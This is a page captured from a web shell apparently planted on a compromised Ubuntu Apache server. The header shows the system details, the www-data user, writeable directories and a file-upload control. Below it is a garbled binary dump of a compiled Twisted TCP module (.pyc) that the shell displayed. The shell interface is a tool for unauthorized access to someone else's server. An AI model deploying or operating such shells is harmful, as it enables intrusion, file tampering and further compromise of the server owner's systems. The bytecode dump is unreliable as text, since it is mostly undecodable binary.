Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/internet/iocpreactor/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/internet/iocpreactor/__pycache__/tcp.cpython-310.pyc
o

�b�M�@s�dZddlZddlZddlZddlmZddlmZmZddl	m
Z
mZmZm
Z
mZddlmZmZddlmZmZddlmZmZmZmZmZdd	lmZdd
lmZddl m!Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(ddl)m*Z*m+Z+m,Z,zdd
l-m.Z/Wne0y�dZ1Ynwe/Z1eej2eej3iZ4eee
j5e
j6�Gdd�dej7e(e#��Z8e1dur�ee8e
j9�Gdd�de$e%e8�Z:Gdd�de8�Z;Gdd�de"�Z!ee
j<�Gdd�de(e��Z=dS)z
TCP support for IOCP reactor
�N)�Optional)�classImplements�implementer)�address�defer�error�
interfaces�main)�	_LogOwner�
isIPv6Address)�abstract�iocpsupport)�ERROR_CONNECTION_REFUSED�ERROR_IO_PENDING�ERROR_NETWORK_UNREACHABLE�SO_UPDATE_ACCEPT_CONTEXT�SO_UPDATE_CONNECT_CONTEXT)�IReadWriteHandle)�Protocol)�	Connector�_AbortingMixin�_BaseBaseClient�_BaseTCPClient�_getsockname�_resolveIPv6�
_SocketCloser)�failure�log�reflect)�startTLSc@s�eZdZdZdZd/dd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZedurFd0dd �Zd!d"�Zd#d$�Zd/d%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�ZdS)1�
Connectionz�
    @ivar TLS: C{False} to indicate the connection is in normal TCP mode,
        C{True} to indicate that TLS has been started and that operations must
        be routed through the L{TLSMemoryBIOProtocol} instance.
    FNcCs&tj�||�||_|j|_||_dS�N)r�
FileHandle�__init__�socket�fileno�
getFileHandle�protocol)�self�sock�proto�reactor�r,�B/usr/lib/python3/dist-packages/twisted/internet/iocpreactor/tcp.pyr#?s
zConnection.__init__cC�|jSr!)r$�r(r,r,r-�	getHandleEszConnection.getHandlecCs@t|t�rnt|t�rt|�}ntdt|���|j�|�dS)z`
        @param rbuffer: Data received.
        @type rbuffer: L{bytes} or L{bytearray}
        z%data must be bytes or bytearray, not N)�
isinstance�bytes�	bytearray�	TypeError�typer'�dataReceived)r(�rbufferr,r,r-r6Hs


zConnection.dataReceivedcCst�|��||�Sr!)�_iocp�recvr&)r(�bufflist�evtr,r,r-�readFromHandleWszConnection.readFromHandlecCs(t|�}t�|��|d|j���|�S)z�
        Send C{buff} to current file handle using C{_iocp.send}. The buffer
        sent is limited to a size of C{self.SEND_LIMIT}.
        r)�
memoryviewr8�sendr&�
SEND_LIMIT�tobytes)r(�buffr;�	writeViewr,r,r-�
writeToHandleZs�zConnection.writeToHandlecCsxz|j�d�Wn	tyYnwt�|jd�}|r:z|��WdSty9t�	�}t
��|�|�YdSwdS)N�)
r$�shutdown�OSErrorr�IHalfCloseableProtocolr'�writeConnectionLost�
BaseExceptionr�Failurer�err�connectionLost)r(�p�fr,r,r-�_closeWriteConnectionds���z Connection._closeWriteConnectioncCsZt�|jd�}|r&z|��WdSty%t��|�t�	��YdSw|�|�dSr!)
rrGr'�readConnectionLostrIrrKrLrrJ)r(�reasonrMr,r,r-rPrs�zConnection.readConnectionLostcCsX|jrdStj�||�|dup|�tj�}|�|�|j}|`|`	|`
|�|�dSr!)�disconnectedrr"rL�checkr�ConnectionAborted�_closeSocketr'r$r&)r(rQ�isCleanr'r,r,r-rL}s
zConnection.connectionLostcCr.)zN
        Return the prefix to log with when I own the logging thread.
        )�logstrr/r,r,r-�	logPrefix��zConnection.logPrefixcC�t|j�tjtj��Sr!)�boolr$�
getsockopt�IPPROTO_TCP�TCP_NODELAYr/r,r,r-�
getTcpNoDelay��zConnection.getTcpNoDelaycC�|j�tjtj|�dSr!)r$�
setsockoptr]r^�r(�enabledr,r,r-�
setTcpNoDelay��zConnection.setTcpNoDelaycCrZr!)r[r$r\�
SOL_SOCKET�SO_KEEPALIVEr/r,r,r-�getTcpKeepAlive�r`zConnection.getTcpKeepAlivecCrar!)r$rbrgrhrcr,r,r-�setTcpKeepAlive�rfzConnection.setTcpKeepAliveTcCst|||tj�dS)z9
            @see: L{ITLSTransport.startTLS}
            N)�	_startTLSrr")r(�contextFactory�normalr,r,r-r�szConnection.startTLScC�2|jrdS|jr|j�|�dStj�||�dS)z�
        Write some data, either directly to the underlying handle or, if TLS
        has been started, to the L{TLSMemoryBIOProtocol} for it to encrypt and
        send.

        @see: L{twisted.internet.interfaces.ITransport.write}
        N)rR�TLSr'�writerr")r(�datar,r,r-rp��
zConnection.writecCrn)z�
        Write some data, either directly to the underlying handle or, if TLS
        has been started, to the L{TLSMemoryBIOProtocol} for it to encrypt and
        send.

        @see: L{twisted.internet.interfaces.ITransport.writeSequence}
        N)rRror'�
writeSequencerr")r(�iovecr,r,r-rs�rrzConnection.writeSequencecCs:|jr|jr|js|j��dSdSdStj�||�dS)z�
        Close the underlying handle or, if TLS has been started, first shut it
        down.

        @see: L{twisted.internet.interfaces.ITransport.loseConnection}
        N)ro�	connected�
disconnectingr'�loseConnectionrr")r(rQr,r,r-rw�s
�zConnection.loseConnectioncCs,|jr|j�||�dStj�|||�dS)zc
        Register a producer.

        If TLS is enabled, the TLS connection handles this.
        N)ror'�registerProducerrr")r(�producer�	streamingr,r,r-rx�szConnection.registerProducercCs$|jr
|j��dStj�|�dS)ze
        Unregister a producer.

        If TLS is enabled, the TLS connection handles this.
        N)ror'�unregisterProducerrr"r/r,r,r-r{�szConnection.unregisterProducercC�dSr!r,r/r,r,r-�getHost��zConnection.getHostcCr|r!r,r/r,r,r-�getPeer�r~zConnection.getPeerr!)T)�__name__�
__module__�__qualname__�__doc__ror#r0r6r<rCrOrPrLrXr_rerirjrkrrprsrwrxr{r}rr,r,r,r-r 5s2




r c@sTeZdZdZejZejZdZ	e
Zdd�Zdd�Z
dd�Zd	d
�Zdd�Zd
d�ZdS)�Clientz�
    @ivar _tlsClientDefault: Always C{True}, indicating that this is a client
        connection, and by default when TLS is negotiated this class will act as
        a TLS client.
    TcCs*|durd}||_t�||||||�dS)N)�r)r+rr#)r(�host�port�bindAddress�	connectorr+r,r,r-r#szClient.__init__cCs|j�|j|j�S)zd
        Create a socket registered with the IOCP reactor.

        @see: L{_BaseTCPClient}
        )r+�createSocket�
addressFamily�
socketTyper/r,r,r-�createInternetSocket	szClient.createInternetSocketcCs|`|`dS)z�
        Clean up potentially circular references to the socket and to its
        C{getFileHandle} method.

        @see: L{_BaseBaseClient}
        N)r$r&r/r,r,r-�_collectSocketDetailsszClient._collectSocketDetailscCs|j�|�dS)z^
        Remove the active handle from the reactor.

        @see: L{_BaseBaseClient}
        N)r+�removeActiveHandler/r,r,r-�_stopReadingAndWritingszClient._stopReadingAndWritingc	Cs�|rt�||�}|�t�|tj�|d�f��dS|j�tj	t
t�d|j�
���|j�|���|_d|_|�|j�}|d|_|jdurOt�|_|��dS|j�|�|��dS)Nz
Unknown error�PTz,client)�connectExErrors�get�failIfNotConnectedr�getConnectError�errno�	errorcoder$rbrgr�struct�packr%r��
buildProtocolrr'ru�
_getLogPrefixrWrrw�makeConnection�startReading)r(�rcrqr;rXr,r,r-�	cbConnect"s&��

zClient.cbConnectcCsnt|d�sdStjsJ�|j�|�t�|j|�}t�|j�	�|j
|�}|r3|tkr5|�|d|�dSdSdS)Nr�r)�hasattrr8�have_connectexr+�addActiveHandle�Eventr��connectr$r%�realAddressr)r(r;r�r,r,r-�	doConnect@s

�zClient.doConnectN)r�r�r�r�r$�AF_INETr��SOCK_STREAMr��_tlsClientDefaultr �_commonConnectionr#r�r�r�r�r�r,r,r,r-r��s	r�c@s:eZdZdZdZdd�Zdefdd�Zdd	�Zd
d�Z	dS)
�ServeraV
    Serverside socket-stream connection class.

    I am a serverside network connection transport; a socket which came from an
    accept() on a server.

    @ivar _tlsClientDefault: Always C{False}, indicating that this is a server
        connection, and by default when TLS is negotiated this class will act as
        a TLS server.
    FcCsvt�||||�||_||_||_|�|j�}|�d|�d|jj��|_d�	|jj
j|j|jj�|_
d|_|��dS)a

        Server(sock, protocol, client, server, sessionno)

        Initialize me with a socket, a protocol, a descriptor for my peer (a
        tuple of host, port describing the other end of the connection), an
        instance of Port, and a session number.
        �,z<{} #{} on {}>TN)r r#�
serverAddr�
clientAddr�	sessionnor�r'r�rW�format�	__class__r�r��repstrrur�)r(r)r'r�r�r�r+rXr,r,r-r#\s�zServer.__init__�returncCr.)z=
        A string representation of this connection.
        )r�r/r,r,r-�__repr__rrYzServer.__repr__cCr.)zW
        Returns an IPv4Address.

        This indicates the server's address.
        )r�r/r,r,r-r}x�zServer.getHostcCr.)zW
        Returns an IPv4Address.

        This indicates the client's address.
        )r�r/r,r,r-r�r�zServer.getPeerN)
r�r�r�r�r�r#�strr�r}rr,r,r,r-r�Nsr�c@seZdZdd�ZdS)rcCst|j|j|j||j�Sr!)r�r�r�r�r+r/r,r,r-�_makeTransport�rfzConnector._makeTransportN)r�r�r�r�r,r,r,r-r�src@s�eZdZUdZdZdZejZej	Z
ejZ
dZdZeeed<dZddd	�Zd
efdd�Zd
d�Ze�ej�fdd�ZeZdd�Zdd�Zdd�Z dd�Z!dd�Z"dd�Z#dd�Z$dS) �PortFrN�_realPortNumber�TCP�2r�cCs>||_||_||_||_||_t|�rtj|_t	j
|_dSdSr!)r��factory�backlog�	interfacer+rr$�AF_INET6r�r�IPv6Address�_addressType)r(r�r�r�r�r+r,r,r-r#�s�z
Port.__init__r�cCs2|jdurd�|j|jj|j�Sd�|j|jj�S)Nz<{} of {} on {}>z<{} of {} (not listening)>)r�r�r�r�r/r,r,r-r��s
��z
Port.__repr__c
Cs�z$|j�|j|j�}|jtjkrt|j|j�}n|j|jf}|�	|�Wnt
y9}z	t�|j|j|��d}~wwt
�|���|_|��d|_t�d|�|j�|jf�|j��|�|j�d|_d|_|j�|�||_|jj|_|��dS)NrDz%s starting on %sTF)r+r�r�r�r$r�rr�r��bindrFr�CannotListenErrorr8�
maxAddrLenr%�addrLen�getsocknamer�r�msgr�r��doStart�listenr�rurRr�r&�doAccept)r(�skt�addr�ler,r,r-�startListening�s2����

zPort.startListeningcCs2d|_|jrt��|_|j�d|j|�|jSdS)z�
        Stop accepting connections on this port.

        This will shut down my socket and call self.connectionLost().
        It returns a deferred which will fire successfully when the
        port is actually closed.
        TrN)rvrur�Deferred�deferredr+�	callLaterrL)r(�connDoner,r,r-rw�s
�zPort.loseConnectioncCs t�d|j�d|j�d��dS)z.
        Log message for closing port
        �(z Port z Closed)N)rr��_typer�r/r,r,r-�_logConnectionLostMsg�s zPort._logConnectionLostMsgcCs�|��d|_d}t|d�r|j}|`d|_|j�|�d|_|�d�|`	|`
z|j��Wnt
yHd|_|durG|�t���YdS�wd|_|durW|�d�dSdS)z'
        Cleans up the socket.
        Nr�TF)r�r�r�r�rRr+r�rurUr$r&r��doStoprIrv�errbackrrJ�callback)r(rQ�dr,r,r-rL�s0

��zPort.connectionLostcCst�|jj�S)zK
        Returns the name of my class, to prefix log entries with.
        )r�qualr�r�r/r,r,r-rXszPort.logPrefixcCs|jdgt|j��R�S)zf
        Returns an IPv4Address or IPv6Address.

        This indicates the server's address.
        r�)r�rr$r/r,r,r-r}szPort.getHostcCs,|�||�|js|js|��dSdSdSr!)�handleAcceptrvrRr�)r(r�rqr;r,r,r-�cbAccepts�z
Port.cbAcceptc
	Csh|js|jrdS|rt�dtj�|d�|f�dS|j�t	j
tt�
d|j	����t�|j��|j�\}}}||jks>J�d|dvrYt|d�d�d�}|d|dd|f}d|dvrtt|d�d�d�}|d|dd|f}|j�|jdg|�R��}|dur�|j��d	S|j}|d|_t|j||jdg|�R�|jdg|�R�||j�}	|�|	�d	S)
NFz*Could not accept new connection -- %s (%s)z
unknown errorr��%rrDr�T)rvrRrr�r�r�r��newsktrbr$rgrr�r�r%r8�get_accept_addrsrAr��int�splitr�r�r��closer�r�r+r�)
r(r�r;�family�lAddr�rAddr�scoper'�s�	transportr,r,r-r�"sL���

�
�
zPort.handleAcceptcCs|t�|j|�}td|jd�|_}|j�|j|j	�|_
}t�|j�
�|�
�||�}|r:|tkr<|�||�dSdSdS)N��)r8r�r�r3r�rAr+r�r�r�r��acceptr$r%rr�)r(r;rAr�r�r,r,r-r�Us
��z
Port.doAccept)r�r�N)%r�r�r�rurRrvr$r�r�r�r�r�IPv4Addressr�r�r�rr��__annotations__r�r#r�r�r�rrJr	�CONNECTION_DONErw�
stopListeningr�rLrXr}r�r�r�r,r,r,r-r��s,



 3r�)>r�r�r$r��typingr�zope.interfacerr�twisted.internetrrrrr	�twisted.internet.abstractr
r�twisted.internet.iocpreactorrr
r8�"twisted.internet.iocpreactor.constrrrrr�'twisted.internet.iocpreactor.interfacesr�twisted.internet.protocolr�twisted.internet.tcpr�TCPConnectorrrrrrr�twisted.pythonrrr�twisted.internet._newtlsr�
__startTLS�ImportErrorrk�WSAECONNREFUSED�WSAENETUNREACHr��
ITCPTransport�
ISystemHandler"r �
ITLSTransportr�r��IListeningPortr�r,r,r,r-�<module>sB$	��<Y;

Spamworldpro Mini